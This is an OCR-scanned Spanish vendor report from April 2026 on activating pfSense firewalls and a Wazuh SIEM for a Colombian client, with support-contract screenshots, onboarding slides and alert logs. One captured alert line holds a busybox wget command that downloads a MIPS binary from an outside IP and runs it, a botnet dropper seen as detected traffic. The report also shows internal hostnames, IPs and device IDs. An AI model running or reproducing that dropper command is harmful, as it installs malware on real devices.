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EMPRESA CDA DEL VALLE

CONTRATO N.°: CDAV-079-2026

INFORME DE ACTIVACION DE WAZUH Y NETGATE PFSENSE
ABRIL 30 DEL 2026

1. Objeto del Contrato

El presente contrato tiene como finalidad la provision e implementacion de una
solucion integral de infraestructura tecnologica basada en:

¢ Netgate: Dispositivo firewall pfSense para gestidén de seguridad y conectividad
de red.

e Wazuh: Plataforma de seguridad de codigo abierto utilizada para la deteccion
de amenazas, monitoreo de integridad, analisis de logs y respuesta ante
incidentes (SIEM/XDR) en infraestructuras IT. Cuenta con suscripcion de
soporte profesional, que brinda asistencia técnica especializada,
actualizaciones priorizadas y acompafnamiento para la correcta
implementacion, operacion y optimizacion de la solucion.

2. Estado Actual del Contrato

e Fase del proyecto: Finalizada

o Estado del sistema: Estable

e Actividad actual: Activacion de plataformas.
e Cumplimiento del contrato: Si

3. Resumen de activacion de plataformas
Durante el procedimiento en compaiia del ingeniero Hernan Rodrigo Bedoya y

Julian Arango de Soluciones en seguridad informatica, se verifica que la
operatividad, el servicio adquirido estan disponibles y activos:

¢ Netgate (pfSense):
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e PFS-1
Status / Dashboard

Netgate Services And Support

Contracttype pfSense TAC P sional

24 Hour

Supportstart  2026-04-27

Supportend 2027-04-27

Supportrenewed 2026-04-27
Support status VE

NETGATE GLOBAL SUPPORT TAC PROFESSIONAL

Thank you for choosing a Netgate Global Support TAC PROFESSIONAL support
Our 24/7 team of support engineers is the most qualified to
diagnose your issue and resolve it quickly, from the branch office to enterprise —
on-premises to the cloud. For non-critical issues, a ticket is appreciated. Also, check
out the NETGATE RESOURCE LIBRARY for videos. documentation, and more!

« Upgrade Your Support o Open a Support Request
e Netgate Global Support FAQ o Official pfSense Training by Netgate

« Netgate Professional Services e Visit Netgate.com

For critical support needs, please call 512-646-4100. You MU ST have
your Netgate Device ID (NDI) from your firewall in order to validate support for
this unit. Write down your NDI and store it in a safe place

System Informat

Name PFS1.cdavgov.local
User admin@192.168.51.203 (Local Database Fallback)
System Netgate pfSense Plus

Serial: 2M281403JD
Netgate Device ID: 2781946c5f5d2bda1833

e PFS-2
Status / Dashboard

Netgate Services And Support 0

Contract type

se TAC Profe:
24 Hour SLA, Ticket
Support start 2026-04-27
Supportend 2027-04-27
Supportrenewed 2026-04-27
Support status ACTIVE

NETGATE GLOBAL SUPPORT TAC PROFESSIONAL

Thank you for choosing a Netgate Global Support TAC PROFESSIONAL support
subscription. Our 24/7 worldwide team of support engineers is the most qualified to
diagnose your issue and resolve it quickly, from the branch office to enterprise —
on-premises to the cloud. For non-critical issues, a ticket is appreciated. Also, check
out the NETGATE RESOURCE LIBRARY for videos, documentation, and more!

e Upgrade Your Support e Open a Support Request
e Netgate Global Support FAQ e Official pfSense Training by Netgate

e Netgate Professional Services e Visit Netgate.com

For critical support needs, please call 512-646-4100. You MU ST have
your Netgate Device ID (NDI) from your firewall in order to validate support for
this unit. Write down your NDI and store it in a safe place.

System Information

Name PFS2.cdavgov.local
User admin@192.168.10.129 (Local Database)
System Netgate pfSense Plus

Serial: 2M281403J9
Netgate Device ID: f6c807effc54c628b22d

BIOS Vendor: HP
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e PFS-3

seguro  10.10.11.78:888

Netgate Services And Support

00 [l e

&5 WAN 4 10Gbase-T <full-duplex>
Contract type

24H SL
Support start  2026-04-27
Supportend 2027-04-27

cket S LAN 1 10Gbase-T <full-duplex>

i es I
Mount Used Size Usage
NETGATE GLOBAL SUPPORT TAC PROFESSIONAL >/ 892M 266G ]
3% of 266 (zfs)

Thank you for choosing a Netgate Global Support TAC PROFESSIONAL support
subscription. Our 24/7 worldwide team of support engineers is the most qualified to
diagnose your issue and resolve it quickly, from the branch office to enterprise —
on-premises to the cloud. For non-critical issues, a ticket is appreciated. Also, check
out the NETGATE RESOURCE LIBRARY for videos, documentation, and more!

« Upgrade Your Support + Open a Support Request

« Netgate Global Support FAQ « Official pfSense Training by Netgate

« Netgate Professional Services  « Visit Netgate.com

For critical support needs, please call 512-646-4100. You MUST have

your Netgate Device ID (NDI) from your firewall in order to validate support for
this unit. Write down your NDI and store it in a safe place

<
Name PFS3.cdav.local
User

admin@192.168.51.203 (Local Database)

System QEMU Guest
Netgate Device ID: 2929248a58e9d8212192

e Wazuh:

En la reunion de onboarding, en la cual se revisé el detalle de la suscripcion,

cdmo contactar al equipo técnico y definicion de los préximos pasos a
sequir.
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Warkplace

Radrige Bedeya

Julian Arango

Recorrido del cliente

IMPL

Rodrigo Bedoya

Cobertura de soporte

Desarrolio ¢el dashboard de Wazuh, integraciones
personalizadas y configuracion de herramientas de
terceros, centradas en soluciones, plataformas
productos y dispositivos siguiendo estandares de la
industria

Consuitas individuales
Orientacion experta bajo demanda a traves de llamadas
personalizadas para abordar tus objetivos de seguridad.

Despliegues, actualizaciones de versiony
mantenimiento del entorno

Gestion completa da la implementacion, upgradas y
mantenimiento continuo de tus entornos Wazuh.

Revision alos 6 moses

Health chetks

ADOPCION OPTIMIZACION

Proyecto post-puosta en

marcha

GBRs Mevision trimestral

Planificacion del alcance

Renovacion de suscripcion

L4
Caolaboracion continua con

soporte

Correccion de errares del cédigo principal e
instaladores de Wazuh

Actualizaciones de seguridad para corregir
ymejorarla y
proteccion del sistema

‘Sesiones periodicas de revision del estado del

entorng®

Soporte para instaladores de Linux, Windows
ymacos

Actualizaciones del conjunto de reglas de
Wazuh

#
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Soporte incluido para herramientas operativas

A

pr =

de soporte de Wazuh

@ Interactua con NUestro equipo técnico
® Solicita asistencia para resolucion de

problemas y servicios de consultoria

Rodrigo Bedoya

Soporte incluido - Herramientas operativas

Plataforma de Soporte de Wazuh

s Accede anuestro portal de soporte al
cliente de Wazuh e inicia sesion con
tus credenciales.

PerQFCIOHa toda la informacién
posible

Activa las notificaciones

+

Cobertura de soporte - Standard

T s | e |

De lunes aviernes, de
6:00a18:00
Soporte critico 24/7*

Nuestrosingenieros expertos

: Del , d

[RGB ERERLLEEES) Horario principal de cobertura e u;:eosoaav]lg:rggs 2
it blemas rel nados|

Sonsuitasypeol AED Soporte por correo electronico Si si

con nuestra solucién, sin limite de 1
Sesiones remotas Si Si

preguntas.

Los tiempos de respuesta se
cuentan desde gue se recibe un
nuevo ticket abierto por el cliente.

Soporte critico 24/7 (P1y P2)

Tiempo de respuesta para P1y P2
durante el horario laboral habitual

Tiempo de respuesta para P3y P4
durante el horario laboral habitual
Health Checks - Revision del

estado del entorno (remotay
durante el horario laboral habitual)

NIA Si

8 horas 4horas

8 horas 6 horas

4 al ano incluidos
(cada tres meses)

2 al ano incluidos
(cada seis meses)

Los horarios se basan en la hora estandar del Este de EE.UU. (UTC -D5:00) y excluyen los dias festivos reconocidos por el Gobierno Federal de EE.UU. *Aplica
unicamente a incidencias criticas y de alta prioridad
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2zo0m
Workplace teunié 7} Pantalia de Lourdes Baroni

Bibiana Castrillon Rodrigo Bedoya

% Rodrigo Bedoya

Cobertura de soporte

Sesiones de configuracion personalizadas
Desarrollo del dashboard de Wazuh, integraciones
personalizadas y configuracion de herramientas de
terceros, centradas en soluciones, plataformas,
productos y dispositivos siguiendo estandares de la
industria

Consultas individuales
Orientacion experta bajo demanda a través de llamadas
personalizadas para abordar tus objetivos de seguridad.

Despliegues, actualizaciones de versiony
mantenimiento del entorno

Gestidn completa de laimplementacicn, upgrades y
mantenimiento continuo de tus entornos Wazuh.

2 5
& - @@= O [ +]
Participantes Chat Reaccionar  Compartir

2
S I - |

Soporte incluido para herramientas operativas

Julian Arango

£ Julian Arango

Correccion de errores del cédigo principal e
instaladores de Wazuh

Actualizaciones de seguridad para corregir
vulnerabilidades y mejorar la estabilidad y
proteccion del sistema

Sesiones periodicas de revision del estado del
entorno®

Soporte para instaladores de Linux, Windows
y macOS

Actualizaciones del conjunto de reglas de
Wazuh

+ @

Al Companion  Informacién de la reunion

de soporte de Wazuh

® InteractUa con nuestro equipo técnico

@ Solicita asistencia para resolucion de

problemas y servicios de consultoria
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Rodrigo Bedoya Julian Arango

Rodrigo Bedoya Natacha Correa * ¢ Julian Arango

Soporte incluido - Herramientas operativas

Plataforma de Soporte de Wazuh

= Accedeanuestro portal de soporte al
¥ Contacta con nosairos sobre cliente de Wazuh e inicia sesion con

tus credenciales.
Proporciona toda la informacién

posible

Activalas notificaciones

- 9- O @ ® #

Participantes . Reaccionar  Compartic Al Companion  Informacion de la reunion Abandonar

3 - %:06 2. m,
- 3 28/04/2026

Cobertura de soporte - Standard

N N S N

De lunes a viernes, de BeMnes gVieraes oo
(LRGeS B ER Horario principal de cobertura 9:00217:00 ’ 6:00a18:00
’ Soporte critico 24/7*

Nuestros ingenieros expertos.

consultas y problemas relacionados| . . ’
P Soporte por correa electrénico Si Si

con nuestra solucion, sin limite de ' )
Sesiones remotas Si Si

pregUntas. Soporte critico 2417 (P1y P2) Si
Tiempo de respuesta para P1y P2

durante el horario laboral habitual S oiss 4 AEEE

Los tiempos de respuesta se
Tiempo de respuesta para P3y P4

cuentan desde gue se recibe un durante el horario laboral habitual Btioras s

Health Checks — Revision del
estado del entorno (remotay
durante el horario laboral habitual)

nuevo ticket abierto por el cliente. 2 al afto incluidos 4 al afio incluidos

(cada seis meses) (cada tres meses)

Los horarios se basan en la hora estandar del Este de EE.UU, (UTC -05:00) y excluyen los dias festivos reconocidos por el Gobierno Federal de EE.UU. *Aplica
dnicamente a incidencias criticas y de alta prioridad

Carrera79 A # 53B - 116 Interior 101 PBX: (57) 4445088
http://segurinfo.co/ Medellin - Colombia




SOLUCIONES EN SEGURIDAD INFORMATICA

Renovacion

«  Contacto principal:
o Nombre/ Email:

<] Nombre/ Email:
Nombre! Email: It's time to renew.

s  Calendario de comunicacion para la renovacién

Correoa 90 dias
Correo a 60 dias

Subscription details:
Correc a 45 dias

Account Nams:

Correo a 30 dias - Aviso final (renovada)

*  Procedimientos

Renovaciones y cambios

Confirm reneval

Se evidencia que se crearon los decodificadores para el sistema PFSense

[ J
de Netgate, como lo ilustra la imagen siguiente:
W. Decoders
Decoders (5) [ Manage decoders files @ Add new decoders file C Refresh
F 1 here you can manage your decoders.
pfs} waL
Name Program name Order f File i 4 Path
[ N
pf {"pattern":"filterlog"} ‘{‘ 0455-pfgense_decoders.xml | ruleset/decoders
| \
pf-fields id,action ,\ 0455-pfsense _decoders.xml \ ruleset/decoders
\
i
pf-fields protocol,srcip,dstip 1 0455-pfsense_decoders.xml ruleset/decoders
|
pf-fields srcport,dstport ‘1( 0455*p15g5£___decoders.xml ruleset/decoders
pf-fields length .‘x_k 045Sfptsense_decoders.)g%%'/ ruleset/decoders
\ — /
\ /

Rows per page: 100 v~

———

&y Export forma

Custom decod:

Se evidencia que quedo apto para recibir alertas de los siguientes modulos

del netgate Pfsense
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= W, Rules

Rules (4,513) [J Manage rules files @ Add new rules file G Refresh by Export formatt
From here you can manage your rules.

pfsensed Custom rule
o™ Description Groups Regulatory compliance Level File Path

1 Generic template for all syslog rules. syslog 0 0010-rules_config.xml ruleset/rules

2 Generic template for all firewall rules. w 0 0010-rules_config.xml ruleset/rules

3 Generic template for all ids rules. 0 0010-rules_config.xml ruleset/rules

4 Generic template for all web rules. 0 0010-rules_config.xml ruleset/rules

5 Generic template for all web proxy rules. 0 0010-rules_config.xml ruleset/rules

6 Generic template for all windows rules. windows 0 0010-rules_config.xmi ruleset/rules

7 Generic template for all wazuh rules. 0 0010-rules_config.xmi ruleset/rules

200 Grouping of wazuh rules. wazuh 0 0016-wazuh_rules.xml ruleset/rules

agent_flooding,
201 Agent event queue rule wazuh 0 0016-wazuh_rules.xml ruleset/rules
agent_flooding,
202 Agent event queue is level full. o PCIDSS  GDPR 7 0016-wazuh_rules.xml ruleset/rules
e Se evidencia que ya se estan colectando alertas en el SIEM Wazuh
mediante los decoders y reglas que fueron parametrizadas para
detecciones correlacionadas de manera especificas y personalizadas.
850 hits
Apr 28, 2026 @ 11:41:15.184 - Apr 30, 2026 @ 11:41:15.184 per  Auto %

]
=2
3
o
[a Apr 30
88
[a Apr 30,
69
® Apr 30,
22
[a Apr 30,
62
FR_ Apr 30,

80

timestamp per hour
Ns.query.opcoge: v | Qata.ans.query.rrtype: A |Qata.payl0ad_printabi€: ............. CO-Mea-anx-ryys.router Tteamviewer.co..
, 2026 @ 11:28:50.8  input.type: log agent.ip: 192.168.81.3 agent.name:{PFS1.cdaygov.local/ agent.id: €61 manager.name: wsiem data.dns.query.rrna
me: router15.teamviewer.com data.dns.query.id: 38,777 data.dns.query.type: query data.dns.query.tx_id: @ data.dns.query.opcod
e: @  data.dns.query.rrtype: A data.payload_printable: .y........... router15 teamviewer.com..... data.tx_id: @ data.packet: A.
2026 @ 11:28:38.5  input.type: log agent.ip: 192.168.81.3 agent.name: PFS1.cdavgov.local J agent.id: €61 manager.name: wsiem data.payload_printa
ble: orf;cd /tmp; rm -rf mpsl; /bin/busybox wget http://51.81.104.117/bins/bin.mipsel; chmod +x bin.mipsel; ./bin.mipsel cozmyc; #
data.packet: PKgq6qd2SCzQHSSLCABFAACZ1DEAAPMRXm6wQYtRyBqRBqxFI80AhQAAD3JmO2NKICIBbXA7IHJtICTyZiBtcHNSOyAvYmluL2J1c31ib3ggd2d1dCBo...
2026 @ 11:16:50.1 input.type: log agent.ip: 192.168.81.3 agent.name: éFS‘Lcdav;ov.localiagent.ld: 081 manager.name: wsiem data.dns.query.rrna
me: router16.teamviewer.com data.dns.query.id: 30,399 data.dns.query.type: query data.dns.query.tx_id: @ data.dns.query.opcod
e: © data.dns.query.rrtype: A data.payload_printable: v............ router16 teamviewer.com..... data.tx_id: @ data.packet: A.
2026 € 11:13:01.7 input.type: log agent.ip: 192.168.81.3 agent.name: \gFS1.cdavgov.locally agent.id: @01 manager.name: wsiem data.packet: PKgqéq
d2SCzQHSSLCABFAAAOCiKAAPSGPaBiYSx3yBqRBrF4D0qS40/FAAAAAFACBADCAAAAAAAAAAAA  data.packet_info.linktype: 1 data.in_iface: bge® dat
a.src_ip: 34.97.44.119 data.src_port: 45432 data.event_type: alert data.alert.severity: 2 data.alert.signature_id: 20108937 ..
2026 @ 11:10:26.8  input.type: loq agent.ip: 192.168.81.3 agent.name: PFS1.cdavqov.local agent.id: @61 manager.name: wsiem ' data.dns.query.rrna

En este caso anterior se ve que provienen del PFS1 que es el firewall
principal de la entidad.

4. Préximos Pasos

e Continuar con el monitoreo mensual y reporte de estabilidad.
¢ Mantener actualizados los componentes de seguridad y virtualizacion.
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Informe revisado y autorizado por: Bibiana Castrillon

SOLUCIONES EN SEGURIDAD INFORMATICA

Julian Andrés Arango Pineda

Soporte Técnico

Email: ingenieroti@segurinfo.co

Usuario Skype: ingenieroti_1

Teléfono: (574) 4445088 Ext 1010 - Celular: (57) 350 6530859
Carrera 79A No 53B-116 Int 101 Medellin — Colombia

Visita nuestra pagina www.segurinfo.co/
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